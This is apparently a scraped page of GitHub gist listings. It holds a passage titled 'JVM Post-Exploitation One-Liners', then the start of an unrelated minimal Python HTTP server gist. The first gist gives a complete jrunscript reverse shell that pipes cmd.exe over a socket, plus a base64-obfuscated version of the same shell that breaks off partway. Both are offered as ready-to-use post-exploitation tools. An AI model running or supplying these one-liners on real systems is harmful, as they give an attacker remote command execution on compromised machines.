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@frohoff
frohoff / JVM_POST_EXPLOIT.md
Last active December 13, 2023 15:02
JVM Post-Exploitation One-Liners

Nashorn / Rhino:

  • Reverse Shell
$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
  • Reverse Shell (Base-64 encoded)
$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V
@bradmontgomery
bradmontgomery / dummy-web-server.py
Last active July 25, 2024 03:38
a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else.
#!/usr/bin/env python
"""
Very simple HTTP server in python (Updated for Python 3.7)
Usage:
./dummy-web-server.py -h
./dummy-web-server.py -l localhost -p 8000
Send a GET request: